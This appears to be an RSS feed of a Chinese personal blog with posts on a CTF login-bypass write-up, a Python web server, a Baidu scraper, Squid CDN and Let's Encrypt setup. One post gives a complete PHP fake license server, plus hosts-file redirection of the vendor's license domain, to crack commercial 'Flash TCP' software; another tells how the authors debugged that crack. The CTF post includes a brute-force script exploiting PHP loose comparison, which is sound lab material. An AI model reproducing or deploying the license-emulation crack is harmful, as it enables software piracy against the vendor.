苍灵冥梦 https://moe.sh/ zh-CN 一条咸鱼的碎语 Tue, 20 Jun 2017 21:26:17 +0800 Tue, 20 Jun 2017 21:26:17 +0800 CTF Writeup #1 https://moe.sh/archives/19.html https://moe.sh/archives/19.html Tue, 20 Jun 2017 21:26:17 +0800 sanae 年常诈尸,这次水一波刚凑热闹的CTF里遇到的题

话不多说,题目说明如下

babylogin
很正常的登录逻辑,只是...
题目地址:http://114.55.36.69:20780/

界面呢就是这个样子,很常见的界面样式

123123.png

既然提供了源码,当然是先看看源码了,源码如下

<?php
include "config.php";

header("Content-Type:text/html;charset=utf8");
session_start();
if (!empty($_SESSION)&&$_SESSION["login"]==1) {
        header("Location: admin.php"); 
        exit();
    }

foreach (array('_GET','_POST','_COOKIE') as $key) {
    foreach ($$key as $key2 => $value) {
        $_GPC[$key2]=$value;
    }
}
//var_dump($_GPC);exit();
if ($_SERVER["REQUEST_METHOD"]=="GET"){
    echo include "outputtpl.php";
}else if($_SERVER["REQUEST_METHOD"]=="POST"){
    
    $userin=addslashes($_POST["name"]);
    $passin=addslashes($_POST["password"]);
    $session = json_decode(base64_decode($_GPC['__session']), true);
    if (is_array($session)){
        $user = find_user_by_uid($session['uid']);
        if(is_array($user) && $session['hash'] == $user['password']){
            $_SESSION["login"]=1;
            $_SESSION["userin"]=$userin;
            header("Location: admin.php");
            exit();
        }else{
            echo "用户名或密码错误";
        }
    }else{
        $sql = "select password from admin where username='$userin'";
        $row = mysql_fetch_array(mysql_query($sql));
        if($row){
            if($row[$passin]==md5($passin)){
                $_SESSION["login"]=1;
                $_SESSION["userin"]=$userin;
                header("Location: admin.php");
                exit();
            }else{
                echo "用户名或密码错误";
            }
        }else{
            echo "用户名或密码错误";
        }    
    }
}else {
    echo "GET or POST plz!";
}

看起来很正常的登陆逻辑,对传入的用户名和密码也都进行了addslashes,不过下面却有一个奇怪的session,还是json编码

$session = json_decode(base64_decode($_GPC['__session']), true);

其实有经验/看过相关文章的人应该在这已经意识到了问题,我们接着往下说。

传入的session在经过b64解码和json解码之后给了$session变量,接下来进行uid查库之后比对了密码,如果密码相同则直接登陆成功,确实如题目所说,看起来很正常的逻辑。

if($row[$passin]==md5($passin)){
                $_SESSION["login"]=1;
                $_SESSION["userin"]=$userin;
                header("Location: admin.php");
                exit();
            }else{
                echo "用户名或密码错误";
            }

但是且慢,

if($row[$passin]==md5($passin)){

在这个比对里,使用的是两个等于号,这个比对会忽略两个变量的变量类型,由于php是世界上最好的语言,所以它会允许你比对整型和字符串,但是会造成一个问题,看图。


QQ截图20170620212112.png

也就是说,执行整型和字符串比对的时候,php只会比对字符串前的数字,而忽略后面的一堆字符串,这里有个前提,就是必须是整型和字符串比较,并且使用两个等于号,使用三个等于号将会校验变量类型。

然而,php使用$_GET等变量获取参数时,不论输入类型,都是以字符串形式保存,故一般不会被两个等于坑。

然而在这里,由于json_decode的存在,我们可以通过json来传入整数,从而导致绕过这个if

编写一个简单的脚本

# -*- coding:utf-8 -*-

import requests, json

for uid in range(1,100):
    for i in range(0,999):
        r = requests.post('http://114.55.36.69:20780/', data={'__session': json.dumps({'uid':str(uid),'hash':i}).encode("base64")})
        if len(r.text) != 8:
            print 'Seems like we get the data',json.dumps({'uid':str(uid),'hash':i}).encode("base64"),r.text
            exit()
        else:
            print uid,i,'fail, continue...'

跑起来,等一小会,效果如下

QQ图片20170620212527.jpg

成功收获本题flag

]]>
0 https://moe.sh/archives/19.html#comments https://moe.sh/feed/archives/19.html
Skylake---基于Python的简单的WebServer https://moe.sh/archives/17.html https://moe.sh/archives/17.html Sun, 29 Jan 2017 14:40:02 +0800 sanae 最近研究HTTP协议的一个大坑

SkylakeWebServer是一个Python编写的WebServer,在目前这个版本(V0.1 Alpha1)中仅做支持基本的静态文件服务器,CGI和对接Python APP功能将会在下面的几个Alpha版本中逐渐添加。

2017-02-02 Update: CGI功能已添加并已通过测试。


源码目前没有任何注释,也可(ken)能(ding)存在各种不稳定/奇怪的bug,仅供研究使用(虽然估计没有比我更蠢的socket写法)。由于研究这个源码导致对Socket或HTTP的误解本人不负任何责任。

特性:

  1. Unix下非阻塞,子进程结束自动回收不会产生僵尸进程。

  2. 支持Last-Modified,Range等header,可以实现断点续传,多线程下载等。

  3. 支持目录列表,具有../等跨目录尝试的防御功能。

已知问题:

  1. 由于辣鸡M$用的Windows-1251编码,Windows下列目录会有中文乱码问题。

  2. 请求大文件会炸内存,由于尝试一次性读取整个文件导致。


在线演示: http://skylake.eof.moe/

GitHub地址: https://github.com/kochiyasanae1/skylake

Coding地址: https://coding.net/u/patchouli/p/Skylake/git


]]>
0 https://moe.sh/archives/17.html#comments https://moe.sh/feed/archives/17.html
Python中创建代码对象(CodeObj) https://moe.sh/archives/16.html https://moe.sh/archives/16.html Tue, 11 Oct 2016 22:27:38 +0800 sanae 好久没更了啊~

由于某些奇怪的需要嘛,需要生成一个code对象,找了半天发现还是得用google大法才能找到

code = types.CodeType(
    co.co_argcount,
    co.co_nlocals,
    co.co_stacksize,
    co.co_flags,
    co.co_code,
    co.co_consts,
    co.co_names,
    co.co_varnames,
    co.co_filename,
    co.co_name,
    co.co_firstlineno,
    co.co_lnotab
)
#types.CodeType(argcount, nlocals, stacksize, flags, codestring, constants, names,varnames, filename, name, firstlineno, lnotab[, freevars[, cellvars]])


]]>
0 https://moe.sh/archives/16.html#comments https://moe.sh/feed/archives/16.html
Flash TCP的破解 https://moe.sh/archives/11.html https://moe.sh/archives/11.html Wed, 24 Feb 2016 22:07:30 +0800 sanae 没有什么太大技术含量的东西,直接发出来吧,测试效果不是很大,但是聊胜于无(反正不要钱)。


反编译文件可以得到请求的验证服务器地址,由于wget时带上了-no-check-certificate(网络验证不验证服务端身份,跟没有有什么区别),所以可以直接改host指向伪造的服务器,通过查看请求包和返回包,分析写出以下代码作为服务端。

<?php
error_reporting(0);
@$act = $_POST['slm_action'];
@$key = $_POST['license_key'];


$date = date("Y-m-d");
if(isset($act) && trim($act) != ''){
	if($act == 'slm_check'){
		if(ctype_alnum($key)){
			if($code = file_get_contents($key.'.txt')){
				$codes = explode(',',$code);
				if(count($codes) >= 5){
					header("Content-Type: Application/json");
					echo '{"result":"error","message":"Invalid license key"}';
					die;
				}
				$registered_domains = array();
				foreach($codes as $scode){
					if(trim($scode) != ''){
						$registered_domains[] = array(
							'id'=>mt_rand(1,3000),
							'lic_key_id'=>mt_rand(1,3000),
							'lic_key'=>$key,
							'registered_domain'=>$scode,
							'item_reference'=>''
						);
					}
				}
				$return = array(
					'result'=>'success',
					'message'=>'License key details retrieved.',
					'status'=>'active',
					'max_allowed_domains'=>'4',
					'email'=>'noemail@mail.com',
					'registered_domains'=>$registered_domains,
					'bandwidth'=>'65500M',
					'duration'=>'Immaterial and Missing Power',
					'server_date'=>$date,
					'activate_date'=>'2016-02-20',
					'expire_date'=>'2038-01-18'
				);
				header("Content-Type: Application/json");
				echo json_encode($return);
				die;
			}else{
				$return = array(
					'result'=>'success',
					'message'=>'License key details retrieved.',
					'status'=>'active',
					'max_allowed_domains'=>'4',
					'email'=>'noemail@mail.com',
					'registered_domains'=>array(),
					'bandwidth'=>'65500M',
					'duration'=>'Immaterial and Missing Power',
					'server_date'=>$date,
					'activate_date'=>'2016-02-20',
					'expire_date'=>'2038-01-18'
				);
				header("Content-Type: Application/json");
				echo json_encode($return);
				die;
			}
		}else{
			header("Content-Type: Application/json");
			echo '{"result":"error","message":"Invalid license key"}';
			die;
		}
	}elseif($act == 'slm_activate'){
		@$code = $_POST['registered_domain'];
		if(ctype_alnum($key)){
			if(trim($code) != ''){
				if($data = file_get_contents($key.'.txt')){
					if(count(explode(',',$data)) >= 5){
						header("Content-Type: Application/json");
						echo '{"result":"error","message":"Invalid license key"}';
						die;
					}
				}
				file_put_contents($key.'.txt',$code.',',FILE_APPEND);
				header("Content-Type: Application/json");
				echo '{"result":"success","message":"License key activated"}';
				die;
			}else{
				header("Content-Type: Application/json");
				echo '{"result":"error","message":"Verification API secret key is invalid"}';
				die;
			}
		}else{
			header("Content-Type: Application/json");
			echo '{"result":"error","message":"Invalid license key"}';
			die;
		}
	}
}

程序完全模仿服务端,会把程序提交的机器码写入文件储存,查询时会返回,由于发现1个序列号只能对应4台机器,所以前面做了判断。

(虽然后来发现其实根本不用这么麻烦,直接输出第一次查询的结果,不用记录机器码)

大概就是这样了,将该文件存为index.php,创建一个网站并开启https(自签名证书即可),然后绑定license.cloudtalkers.com域名,要安装的机器改host到自己的伪造服务器上之后按照官方的安装程序,序列号随便任何字母数字组合即可。


]]>
0 https://moe.sh/archives/11.html#comments https://moe.sh/feed/archives/11.html
32位之坑,2038年问题 https://moe.sh/archives/10.html https://moe.sh/archives/10.html Sun, 21 Feb 2016 12:27:00 +0800 sanae 昨天和@angelic47 一起破解某程序时遇到的问题。


0x01 起因

昨天又开始破解某程序了,程序是什么暂且不谈,该程序是网络验证,通过请求服务器获得授权信息,我们萌萌哒的47动态调试找到了请求的内容,并确认了返回的数据结构,我去写伪造的服务端,改host,vps上测试安装成功,一切看起来如此顺利。

blob.png

于是就认为成功了,准备开始在自己的服务器上部署了,结果47却踩到了坑

blob.png

我惊异之,于是尝试在自己的另一个vps上部署,也遇到了同样的问题

0x02 发展

于是各种对比,以为是伪造服务端输出格式的问题,一阵折腾后无果,47决定开大,直接nop掉相关检测代码


blob.png

然而并没有什么卵用

于是各种怀疑,校准服务器时间,47疯狂找暗桩中。。。

一筹莫展之际,突然注意到了一个关键区别,所有调试都是在64位系统上进行的,而要安装的vps却是32位系统,于是在另一个64位的vps上尝试安装,一次成功。

0x03 结尾

盯着代码疑惑时,突然注意到了一个东西:授权过期时间2199-12-31

这时猛然想起曾经看到过的一个东西:2038年问题

于是赶紧修改伪造服务端的代码,授权截止日期改为2038-1-18,然后重新尝试启动软件,成功启动。

blob.png

]]>
0 https://moe.sh/archives/10.html#comments https://moe.sh/feed/archives/10.html
一个抓取百度搜索结果的php脚本 https://moe.sh/archives/9.html https://moe.sh/archives/9.html Fri, 19 Feb 2016 02:18:09 +0800 sanae 有点历史的东西了,不过用来爬东西时还是挺好用的。

<?php
error_reporting(0);

@$keyword = $argv[1];
@$zpage = $argv[2];

if((!$keyword) or (!$zpage)){
	die('Require keyword and page');
}
$keyword = urlencode($keyword);

for($p=0;$p<$zpage;$p++){
	$url = 'http://www.baidu.com/s?wd='.$keyword.'&pn='.$p.'0';
	$txt = file_get_contents($url);

	preg_match_all('/(data)(-)(tools)(=)(\')(\{)("title")(:)(")((.+))(")(,)("url")(:)(")((.+))(")(\})(\')/i',$txt,$matches);

	for($i=0;$i<count($matches[0]);$i++){
		$json = str_replace('data-tools=','',$matches[0][$i]);
		$json = str_replace('\'','',$json);
		$data = json_decode($json,true);
		
		$ch  = curl_init();
		curl_setopt($ch, CURLOPT_URL, $data['url']);
		curl_setopt($ch, CURLOPT_HEADER, true);
		curl_setopt($ch, CURLOPT_NOBODY,true);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		curl_setopt($ch, CURLOPT_AUTOREFERER,true);
		curl_setopt($ch, CURLOPT_TIMEOUT,5);
		curl_setopt($ch, CURLOPT_HTTPHEADER, array(  
		'Accept: */*',  
		'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
		'Connection: Keep-Alive'));
		$header = curl_exec($ch);
		curl_close($ch);
		$header = explode("\n",$header);
		$num = array_find($header,'Location:');
		$header = explode(': ',$header[$num]);
		$link = trim($header[1]);
		//if(stristr($link,'baidu.com')){
			//continue;
		//}
		//file_put_contents('baidu.txt',$data['title']."\r\n".$link."\r\n",FILE_APPEND);
		file_put_contents('baidu.txt',$link."\r\n",FILE_APPEND);
		$a = $i+1;
		echo $a.' Complete!'."\n";
	}
	$b = $p+1;
	echo 'Page'.$b.'Complete!'."\n";
}
echo 'Complete!'."\n";

function array_find($array,$word){
	foreach($array AS $num => $key){
		if(strpos($key,$word) !== false){
			return $num;
			break;
		}
	}
}
?>

用法:php script.php keyword pages

]]>
0 https://moe.sh/archives/9.html#comments https://moe.sh/feed/archives/9.html
Squid搭建CDN https://moe.sh/archives/8.html https://moe.sh/archives/8.html Wed, 17 Feb 2016 13:36:27 +0800 sanae 0x01 前言

国内支持ssl的cdn有哪几家来着......好像除了upyun以外没有了吧,tx云cdn的ssl又是内测,不公开提供,跟没有有什么区别。本文将介绍自行搭建cdn服务器并支持ssl的方法。


0x02 准备

为了自建cdn,需要以下东西:

1.后端服务器

2.cdn服务器(1台其实都行,不过那更像是反代)

3.域名ssl证书(如果需要支持ssl)


0x03 开始

本文将以windows为例,linux下除了安装过程不同以外其他大同小异。

首先获取squid for windows(http://squid.acmeconsulting.it/),找到合适的版本进行下载(注意:需要支持ssl的话请下载带ssl support的版本)

下载来的是绿色版,直接解压到C盘根目录即可(因为他就是这么编译的,不解压到C盘根目录的话运行会出错),解压完成后打开里面的etc文件夹,将配置文件后面的.default去掉,然后打开squid.conf,删掉里面所有内容,然后如下编辑(记得替换对应的位置并删掉注释):

#本地绑定的IP端口 
http_port 本机ip:80 vhost 
visible_hostname 本机标识名
cache_dir ufs 缓存目录(请使用反斜线/而不是斜线\) 1024(缓存文件夹大小,单位MB) 16(L1,意思见附录) 256(L2,意思见附录) 
cache_mem 256 MB #这是最大使用多大的内存进行缓存 

https_port 443 cert=d:/cert/skk.cer key=d:/cert/skk.key vhost #如果需要支持https,这里需要指定证书地址,cert为证书,key为私钥

#接下来就是设定后端服务器参数了,第一个为加速http站点的设置,第二个为加速https站点的设置,parent后面的数字即为远程服务器的访问端口,name为名称标识符,后面要统一
cache_peer 2.2.2.2 parent 81 0 no-query originserver weight=1 name=lolicm
cache_peer 1.1.1.1 parent 443 0 no-query originserver login=PASS ssl sslflags=DONT_VERIFY_PEER name=blog
#这里绑定域名,名称标识符要和上面的统一 域名之间用空格分开,如需要绑定泛域名则绑定 .domail.com 就行
cache_peer_domain lolicm loli.cm www.loli.cm
cache_peer_domain blog skk.io www.skk.io

#这里是访问控制,标识符要和上面的统一,allow all即为允许所有人的访问
acl all src 0.0.0.0/0.0.0.0 
http_access allow all
cache_peer_access lolicm allow all
cache_peer_access blog allow all
tcp_recv_bufsize 65535 bytes 
#这里是缓存规则,squid将会按照这个标准去决定是否缓存,如无特殊需要可以直接采用如下规则
refresh_pattern ^ftp: 1440 20% 10080
refresh_pattern ^gopher: 1440 0% 1440
refresh_pattern -i \.(gif|png|jpg|bmp|jpeg|ico)$ 10080 90% 43200 override-expire override-lastmod reload-into-ims ignore-reload ignore-no-cache ignore-private
refresh_pattern -i \.(iso|avi|wav|mp3|mp4|mpeg|swf|flv|x-flv)$ 43200 90% 432000 reload-into-ims override-expire override-lastmod ignore-reload ignore-no-cache
refresh_pattern -i \.(deb|rpm|exe|zip|tar|tgz|ram|rar|bin|ppt|doc|tiff)$ 10080 90% 43200 reload-into-ims override-expire override-lastmod ignore-reload ignore-no-cache
refresh_pattern -i \.(bin|pdf|rtf|Z|gz|bz2|bz|tgz|cdf|tr|man|zip|cpio|gtar|rpm|shar|tar|ustar|mp2|mpga|aif|aiff|aifc|wav|ief|jpeg|jpe|tiff|tif|ras|txt|mpeg|mpg|mpe|mov|doc|xls|ppt|cab||kar|mid|midi|ra|ram|rm|sgml|sgm|so|spl|vcd|vrml|wbmp|wbxml|wmlc|wmlsc|wmls|xht|xhtml|xml)$ 1440 90% 10080 reload-into-ims override-expire override-lastmod ignore-reload ignore-no-cache
refresh_pattern -i \.index.(html|htm)$ 0 40% 10080  reload-into-ims
refresh_pattern -i \.(htm|html|txt|js|xml|css)$ 0 66% 14400 reload-into-ims stale-while-revalidate=60
refresh_pattern -i . 0 10% 0 override-expire override-lastmod reload-into-ims ignore-reload ignore-no-cache ignore-private
#这是管理联系邮箱,将会显示在出错页面中
cache_mgr admin@cache.com
icp_port 0

编辑完配置文件之后就要开始创建缓存目录了,打开cmd命令行,切到squid文件夹中的sbin目录,执行如下命令

squid -z

如果配置文件有错这时就会爆出来,如果显示临时文件创建成果说明配置文件没有问题。

然后通过如下命令来创建系统服务并启动

squid -i
net start squid

如果服务正常启动了,就可以将域名解析到cdn服务器上并打开看看效果了。看http返回头,返回如下即说明该请求没有被缓存,是通过后端服务器获取的

blob.png

如果如下,就说明该文件成功被缓存,且该请求是从cdn服务器上获取的

blob.png

注意:只有当X-Cache为HIT时才说明被成功缓存,如果只有X-Cache-Lookup为HIT的话说明这个文件并没有被缓存。

到这一步,cdn服务器就搭建完成了,如果要搭建更大规模的都可以如法炮制,最后去dns上设定分线解析即可。


0x03 附录

一个清空squid缓存的小脚本,会清空所有squid缓存,保存为一个bat文件即可

@echo off
net stop squid
rd/s/q d:\cache(替换为自己的缓存目录)
cd c:\squid\sbin
squid -z
net start squid

关于上文中的L1,L2的解释:

参数:L1和L2

对ufs,aufs,和diskd机制,squid在cache目录下创建二级目录树。L1和L2参数指定了第一级和第二级目录的数量。默认的是16和256。图7-1显示文件系统结构。


Figure 7-1. 基于ufs存储机制的cache目录结构

(略图)

(这段转自http://zyan.cc/book/squid/chap07.html)


]]>
0 https://moe.sh/archives/8.html#comments https://moe.sh/feed/archives/8.html
申请Let's encrypt的免费SSL证书的正确姿势 https://moe.sh/archives/6.html https://moe.sh/archives/6.html Tue, 16 Feb 2016 20:25:00 +0800 sanae 0x01 前言

如今申请SSL证书的门槛越来越低,从那个安卓默认不信任的StartSSL,到某宝上几块一年的各种证书,再到沃通的SSL证书,甚至cloudflare的一键SSL,不需要多少钱和时间即可给自己站前面加一个提升逼格的小绿锁,这篇文章就将告诉你如何正确的申请Let's encrypt的免费SSL证书。


0x02 准备

请确认你已经准备好了以下几个必需品:

1.一个运行着任何Linux发行版的vps(Debian最好,当然其他的也无所谓)

2.一个域名

3.一台联网的电脑(喂


0x03 申请

首先,将需要申请的域名解析到你的vps的ip(注意:Let's encrypt的免费SSL证书不支持泛域名,所以需要将你所有想申请证书的子域名都解析过去),然后连接上vps的终端,执行以下命令来获得申请工具:

git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt

(如没有安装git请自行通过yum或apt-get安装)

这时需要先暂停掉web服务并开放防火墙(这步具体执行的操作请根据实际情况自行修改)

service nginx stop
service iptables stop

完成这一步后就可以开始申请证书了,执行下列命令

./letsencrypt-auto certonly --standalone -d example.com -d www.example.com

(每个-d参数后面跟一个域名,需要申请几个域名的证书就跟几个,需要确认这些域名都解析到当前vps的ip上)

执行后会自动安装运行环境,并要求你输入邮箱,并同意协议,按照提示走就行。

完成后会有如下提示:

Congratulations! Your certificate and chain have been saved at
/etc/letsencrypt/live/example.com/fullchain.pem. Your cert will
expire on xxxx-xx-xx. To obtain a new version of the certificate in
the future, simply run Let's Encrypt again.

这时你的证书就申请好了,去它提示的目录里,fullchain.pem即为证书文件,private.pem即为私钥

注意:申请到的证书有效期3个月,到期后需要用如下命令重新续期:

./letsencrypt-auto renew


0x04 后续

接下来就是去部署SSL证书到服务器上,具体操作因使用的服务器软件而异,本文将不再多说。

最后效果如图:

1455625496153340.png

]]>
0 https://moe.sh/archives/6.html#comments https://moe.sh/feed/archives/6.html